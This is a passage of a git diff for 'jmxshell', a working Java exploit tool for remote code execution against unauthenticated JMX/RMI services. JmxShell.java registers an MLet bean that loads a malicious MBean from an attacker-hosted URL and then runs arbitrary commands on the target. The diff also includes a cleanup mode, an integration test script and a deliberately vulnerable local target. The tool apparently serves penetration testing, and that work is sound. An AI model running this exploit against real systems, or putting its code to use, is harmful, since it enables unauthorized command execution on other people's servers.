target listens on (default 1099) +# ID_CMD Path to id binary (defaults /bin/id, falls back to /usr/bin/id) +# EXPECT_FAIL=1 Negative test: assert the exploit fails (exit non-zero) +# EXPECT_ERROR Substring required in output when EXPECT_FAIL=1 +# (use this to pin the test to a specific failure mode, +# e.g. for JDK 25 targets where MLet has been removed) +# +# Requirements: +# - python3 in PATH (HTTP server for compromise.jar / woot.html) +# - A JDK reachable via JAVA_HOME or `java` on PATH + +set -euo pipefail + +TARGET_JDK="${1:-8}" + +if [ -n "${JAVA_HOME:-}" ]; then + JAVA="$JAVA_HOME/bin/java" +else + JAVA="$(command -v java || true)" +fi +if [ -z "$JAVA" ]; then + echo "Need java available (set JAVA_HOME or add a JDK to PATH)" >&2 + exit 1 +fi + +ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" +WORK="$(mktemp -d -t jmxshell-it.XXXXXX)" +HTTP_PORT="${HTTP_PORT:-8000}" +JMX_PORT="${JMX_PORT:-1099}" +TARGET_PID="" +HTTP_PID="" + +cleanup() { + set +e + [ -n "$TARGET_PID" ] && kill "$TARGET_PID" 2>/dev/null + [ -n "$HTTP_PID" ] && kill "$HTTP_PID" 2>/dev/null + rm -rf "$WORK" +} +trap cleanup EXIT + +cd "$ROOT" + +echo "==> JDK in use:" +"$JAVA" -version + +if [ "${SKIP_BUILD:-0}" = "1" ]; then + echo "==> Skipping build (SKIP_BUILD=1) — expecting build artifacts in place" + if ! ls build/libs/jmxshell-*.jar >/dev/null 2>&1; then + echo "Missing build/libs/jmxshell-*.jar. Run the gradle build first." >&2 + exit 1 + fi + if [ ! -f build/target/jmx-target.jar ]; then + echo "Missing build/target/jmx-target.jar. Run gradle build (it produces this jar)." >&2 + exit 1 + fi + if [ ! -f build/web/compromise.jar ] || [ ! -f build/web/woot.html ]; then + echo "Missing build/web/{compromise.jar,woot.html}. Run gradle build mletFile -PmletUrl=http://127.0.0.1:${HTTP_PORT}" >&2 + exit 1 + fi +else + echo "==> Building jmxshell + jmx-target with -PtargetJdk=${TARGET_JDK}" + ./gradlew --no-daemon clean build mletFile \ + -PtargetJdk="${TARGET_JDK}" \ + -PmletUrl="http://127.0.0.1:${HTTP_PORT}" >/dev/null +fi + +echo "==> Starting jmx-target.jar on 127.0.0.1:${JMX_PORT}" +"$JAVA" \ + -Dcom.sun.management.jmxremote \ + -Dcom.sun.management.jmxremote.port="${JMX_PORT}" \ + -Dcom.sun.management.jmxremote.rmi.port="${JMX_PORT}" \ + -Dcom.sun.management.jmxremote.authenticate=false \ + -Dcom.sun.management.jmxremote.ssl=false \ + -Dcom.sun.management.jmxremote.local.only=false \ + -Djava.rmi.server.hostname=127.0.0.1 \ + -jar build/target/jmx-target.jar >"$WORK/target.log" 2>&1 & +TARGET_PID=$! + +echo "==> Serving build/web on http://127.0.0.1:${HTTP_PORT}" +( cd build/web && python3 -m http.server "${HTTP_PORT}" ) >"$WORK/http.log" 2>&1 & +HTTP_PID=$! + +echo "==> Waiting for JMX port ${JMX_PORT}" +for i in $(seq 1 60); do + if (echo > "/dev/tcp/127.0.0.1/${JMX_PORT}") 2>/dev/null; then + break + fi + sleep 0.5 + if [ "$i" = "60" ]; then + echo "JMX port never came up. target.log:" >&2 + cat "$WORK/target.log" >&2 + exit 1 + fi +done + +CLIENT_JARS=( build/libs/jmxshell-*.jar ) +CLIENT_JAR="${CLIENT_JARS[0]}" +echo "==> Running jmxshell client: $CLIENT_JAR" + +# Default to /bin/id; on macOS the binary lives at /usr/bin/id so fall back. +ID_CMD="${ID_CMD:-/bin/id}" +if [ ! -x "$ID_CMD" ] && [ -x /usr/bin/id ]; then + ID_CMD="/usr/bin/id" +fi +echo "==> Sending command: $ID_CMD" + +set +e +OUT="$("$JAVA" -jar "$CLIENT_JAR" \ + --host 127.0.0.1 --port "${JMX_PORT}" \ + --command "$ID_CMD" \ + --url "http://127.0.0.1:${HTTP_PORT}" 2>&1)" +RC=$? +set -e + +echo "----- jmxshell output (rc=$RC) -----" +echo "$OUT" +echo "------------------------------------" + +if [ "${EXPECT_FAIL:-0}" = "1" ]; then + if [ "$RC" -eq 0 ]; then + echo "FAIL: expected jmxshell to exit non-zero (EXPECT_FAIL=1) but it succeeded" >&2 + exit 1 + fi + if [ -n "${EXPECT_ERROR:-}" ] && ! echo "$OUT" | grep -qF "$EXPECT_ERROR"; then + echo "FAIL: expected error substring not found in output" >&2 + echo " expected: $EXPECT_ERROR" >&2 + exit 1 + fi + echo "PASS: exploit correctly failed against this target${EXPECT_ERROR:+ (matched: $EXPECT_ERROR)}" + exit 0 +fi + +if [ "$RC" -ne 0 ]; then + echo "FAIL: jmxshell exited non-zero ($RC)" >&2 + exit 1 +fi + +if echo "$OUT" | grep -Eq 'Result:[[:space:]]*uid='; then + echo "PASS: id command returned a uid= line via JMX" + exit 0 +fi + +echo "FAIL: did not see 'Result: uid=...' in jmxshell output" >&2 +exit 1 diff --git a/settings.gradle b/settings.gradle new file mode 100644 index 0000000..536771b --- /dev/null +++ b/settings.gradle @@ -0,0 +1,7 @@ +plugins { + // Lets Gradle auto-provision JDKs (8/11/17/21/25) when the toolchain + // language version isn't already installed locally. + id 'org.gradle.toolchains.foojay-resolver-convention' version '0.8.0' +} + +rootProject.name = 'jmxshell' diff --git a/src/main/java/com/jmxshell/JmxShell.java b/src/main/java/com/jmxshell/JmxShell.java new file mode 100644 index 0000000..7a54b10 --- /dev/null +++ b/src/main/java/com/jmxshell/JmxShell.java @@ -0,0 +1,265 @@ +package com.jmxshell; + +import javax.management.InstanceAlreadyExistsException; +import javax.management.MBeanServerConnection; +import javax.management.ObjectInstance; +import javax.management.ObjectName; +import javax.management.remote.JMXConnector; +import javax.management.remote.JMXConnectorFactory; +import javax.management.remote.JMXServiceURL; +import java.io.InputStream; +import java.net.URL; +import java.util.Enumeration; +import java.util.HashMap; +import java.util.Map; +import java.util.Set; +import java.util.jar.Manifest; + +public class JmxShell { + + private static final String OBJECT_NAME = "MLetCompromise:name=evil,id=2"; + static final String VERSION; + static final String BUILD_JDK_TARGET; + + static { + Manifest mf = loadOwnManifest(); + VERSION = manifestValue(mf, "Implementation-Version", "dev"); + BUILD_JDK_TARGET = manifestValue(mf, "Build-Jdk-Target", "unknown"); + } + + public static void main(String[] args) { + try { + Options opts = parseArgs(args); + if (opts.help) { + printUsage(System.out); + return; + } + if (opts.version) { + System.out.println(versionLine()); + return; + } + if (opts.cleanup) { + cleanup(opts.host, opts.port, opts.username, opts.password); + } else { + exploit(opts.host, opts.port, opts.command, opts.url, opts.username, opts.password); + } + } catch (UsageException e) { + System.err.println("Error: " + e.getMessage()); + System.err.println(); + printUsage(System.err); + System.exit(2); + } catch (Exception e) { + e.printStackTrace(); + System.exit(1); + } + } + + static void exploit(String host, String port, String command, String url, + String username, String password) throws Exception { + JMXServiceURL serviceUrl = new JMXServiceURL( + "service:jmx:rmi:///jndi/rmi://" + host + ":" + port + "/jmxrmi"); + System.out.println("URL: " + serviceUrl + ", connecting" + + (username != null ? " as " + username : "")); + + JMXConnector c = JMXConnectorFactory.connect(serviceUrl, credentialsEnv(username, password)); + try { + System.out.println("Connected: " + c.getConnectionId()); + MBeanServerConnection m = c.getMBeanServerConnection(); + + ObjectInstance evilBean; + try { + evilBean = m.getObjectInstance(new ObjectName(OBJECT_NAME)); + } catch (Exception e) { + evilBean = null; + } + + if (evilBean == null) { + System.out.println("Trying to create bean..."); + ObjectInstance evil; + try { + evil = m.createMBean("javax.management.loading.MLet", null); + } catch (InstanceAlreadyExistsException e) { + System.out.println("DefaultDomain:type=MLet already exists"); + evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet")); + } + System.out.println("Loaded " + evil.getClassName()); + + System.out.println("Sending URL: " + url); + Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL", + new Object[]{ String.format("%s/woot.html", url) }, + new String[]{ String.class.getName() }); + Set resSet = (Set) res; + Object next = resSet.iterator().next(); + System.out.println("nextObject = " + next); + if (next instanceof Exception) { + throw (Exception) next; + } + evilBean = (ObjectInstance) next; + } + + System.out.println("Loaded class: " + evilBean.getClassName() + + " object " + evilBean.getObjectName()); + System.out.println("Calling runCommand with: " + command); + Object result = m.invoke(evilBean.getObjectName(), "runCommand", + new Object[]{ command }, new String[]{ String.class.getName() }); + System.out.println("Result: " + result); + } finally { + try { c.close(); } catch (Exception ignore) { /* best effort */ } + } + } + + static void cleanup(String host, String port, String username, String password) throws Exception { + JMXServiceURL serviceUrl = new JMXServiceURL( + "service:jmx:rmi:///jndi/rmi://" + host + ":" + port + "/jmxrmi"); + System.out.println("URL: " + serviceUrl + ", connecting" + + (username != null ? " as " + username : "")); + + JMXConnector c = JMXConnectorFactory.connect(serviceUrl, credentialsEnv(username, password)); + try { + System.out.println("Connected: " + c.getConnectionId()); + MBeanServerConnection m = c.getMBeanServerConnection(); + + for (ObjectInstance x : m.queryMBeans(null, null)) { + String name = x.getObjectName().toString(); + System.out.println("Checking " + name); + if (name.startsWith("DefaultDomain:type=MLet") + || name.startsWith("MLetCompromise") + || name.startsWith("MLet")) { + System.out.println("Removing " + name); + m.unregisterMBean(x.getObjectName()); + } + } + System.out.println("Exiting after cleanup"); + } finally { + try { c.close(); } catch (Exception ignore) { /* best effort */ } + } + } + + static Map credentialsEnv(String username, String password) { + if (username == null) return null; + Map env = new HashMap(); + env.put(JMXConnector.CREDENTIALS, new String[]{ username, password }); + return env; + } + + static class Options { + boolean cleanup; + boolean help; + boolean version; + String host; + String port; + String command; + String url; + String username; + String password; + } + + static String versionLine() { + return "jmxshell " + VERSION + " (built for JDK " + BUILD_JDK_TARGET + ")"; + } + + private static Manifest loadOwnManifest() { + try { + ClassLoader cl = JmxShell.class.getClassLoader(); + if (cl == null) cl = ClassLoader.getSystemClassLoader(); + Enumeration urls = cl.getResources("META-INF/MANIFEST.MF"); + while (urls.hasMoreElements()) { + URL url = urls.nextElement(); + InputStream in = null; + try { + in = url.openStream(); + Manifest mf = new Manifest(in); + String title = mf.getMainAttributes().getValue("Implementation-Title"); + if ("jmxshell".equals(title)) { + return mf; + } + } catch (Exception ignore) { + // try next manifest + } finally { + if (in != null) try { in.close(); } catch (Exception ignore) {} + } + } + } catch (Exception ignore) { + // fall through to null + } + return null; + } + + private static String manifestValue(Manifest mf, String name, String fallback) { + if (mf == null) return fallback; + String v = mf.getMainAttributes().getValue(name); + return (v == null || v.isEmpty()) ? fallback : v; + } + + static class UsageException extends Exception { + UsageException(String message) { super(message); } + } + + static Options parseArgs(String[] args) throws UsageException { + Options o = new Options(); + + for (int i = 0; i < args.length; i++) { + String a = args[i]; + if ("--cleanup".equals(a)) { + o.cleanup = true; + } else if ("--help".equals(a) || "-h".equals(a)) { + o.help = true; + } else if ("--version".equals(a) || "-V".equals(a)) { + o.version = true; + } else if ("--host".equals(a)) { + o.host = nextValue(args, ++i, "--host"); + } else if ("--port".equals(a)) { + o.port = nextValue(args, ++i, "--port"); + } else if ("--command".equals(a)) { + o.command = nextValue(args, ++i, "--command"); + } else if ("--url".equals(a)) { + o.url = nextValue(args, ++i, "--url"); + } else if ("--username".equals(a)) { + o.username = nextValue(args, ++i, "--username"); + } else if ("--password".equals(a)) { + o.password = nextValue(args, ++i, "--password"); + } else { + throw new UsageException("Unknown argument: " + a); + } + } + + if (!o.help && !o.version) { + if (o.host == null) throw new UsageException("--host is required"); + if (o.port == null) throw new UsageException("--port is required"); + if (!o.cleanup) { + if (o.command == null) throw new UsageException("--command is required"); + if (o.url == null) throw new UsageException("--url is required"); + } + if ((o.username == null) != (o.password == null)) { + throw new UsageException("--username and --password must be supplied together"); + } + } + return o; + } + + private static String nextValue(String[] args, int i, String flag) throws UsageException { + if (i >= args.length) throw new UsageException("Missing value for " + flag); + return args[i]; + } + + private static void printUsage(java.io.PrintStream out) { + out.println(versionLine()); + out.println(); + out.println("Usage:"); + out.println(" jmxshell --host --port --command --url " + + " [--username --password ]"); + out.println(" jmxshell --host --port --cleanup" + + " [--username --password ]"); + out.println(); + out.println("Options:"); + out.println(" --host JMX RMI server hostname or IP"); + out.println(" --port JMX RMI server port"); + out.println(" --command Command to execute on the target (exploit mode)"); + out.println(" --url Base URL serving woot.html and compromise.jar"); + out.println(" --cleanup Remove MLet beans previously installed by this tool"); + out.println(" --username JMX username (requires --password)"); + out.println(" --password JMX password (requires --username)"); + out.println(" --help, -h Print this help and exit"); + out.println(" --version, -V Print version and exit"); + } +} diff --git a/web/woot.template b/src/main/resources/web/woot.template similarity index 100% rename from web/woot.template rename to src/main/resources/web/woot.template diff --git a/com/braden/Evil.java b/src/payload/java/com/braden/Evil.java similarity index 100% rename from com/braden/Evil.java rename to src/payload/java/com/braden/Evil.java diff --git a/com/braden/EvilMBean.java b/src/payload/java/com/braden/EvilMBean.java similarity index 100% rename from com/braden/EvilMBean.java rename to src/payload/java/com/braden/EvilMBean.java diff --git a/src/target/java/com/jmxshell/target/JmxTarget.java b/src/target/java/com/jmxshell/target/JmxTarget.java new file mode 100644 index 0000000..a904d39 --- /dev/null +++ b/src/target/java/com/jmxshell/target/JmxTarget.java @@ -0,0 +1,46 @@ +package com.jmxshell.target; + +import java.lang.management.ManagementFactory; +import java.util.concurrent.CountDownLatch; + +/** + * A deliberately-vulnerable JMX target for testing jmxshell. + * + * Run with the JMX system properties already set so the management agent + * binds an unauthenticated, unencrypted JMX/RMI endpoint on the requested + * port. The Gradle :runTarget task wires those properties up; if you launch + * this class directly, set them yourself, e.g.: + * + * java \ + * -Dcom.sun.management.jmxremote \ + * -Dcom.sun.management.jmxremote.port=1099 \ + * -Dcom.sun.management.jmxremote.rmi.port=1099 \ + * -Dcom.sun.management.jmxremote.authenticate=false \ + * -Dcom.sun.management.jmxremote.ssl=false \ + * -Dcom.sun.management.jmxremote.local.only=false \ + * -Djava.rmi.server.hostname=127.0.0.1 \ + * -jar build/target/jmx-target.jar + * + * DO NOT run this on a host reachable from an untrusted network. + */ +public class JmxTarget { + + public static void main(String[] args) throws Exception { + String runtime = ManagementFactory.getRuntimeMXBean().getName(); + String jmxPort = System.getProperty("com.sun.management.jmxremote.port", "(unset)"); + String authProp = System.getProperty("com.sun.management.jmxremote.authenticate", "(unset)"); + String sslProp = System.getProperty("com.sun.management.jmxremote.ssl", "(unset)"); + + System.out.println("================================================================"); + System.out.println(" Vulnerable JMX target (jmxshell test fixture)"); + System.out.println(" Runtime: " + runtime); + System.out.println(" Java version: " + System.getProperty("java.version")); + System.out.println(" JMX port: " + jmxPort); + System.out.println(" Authenticate: " + authProp); + System.out.println(" SSL: " + sslProp); + System.out.println(" Listening for connections. Press Ctrl-C to terminate."); + System.out.println("================================================================"); + + new CountDownLatch(1).await(); + } +} diff --git a/todo b/todo deleted file mode 100644 index c476481..0000000 --- a/todo +++ /dev/null @@ -1,4 +0,0 @@ -Add native user/password support -remove call to Mbean in RemoteMBean - only install it -add Makefile -add example mlet file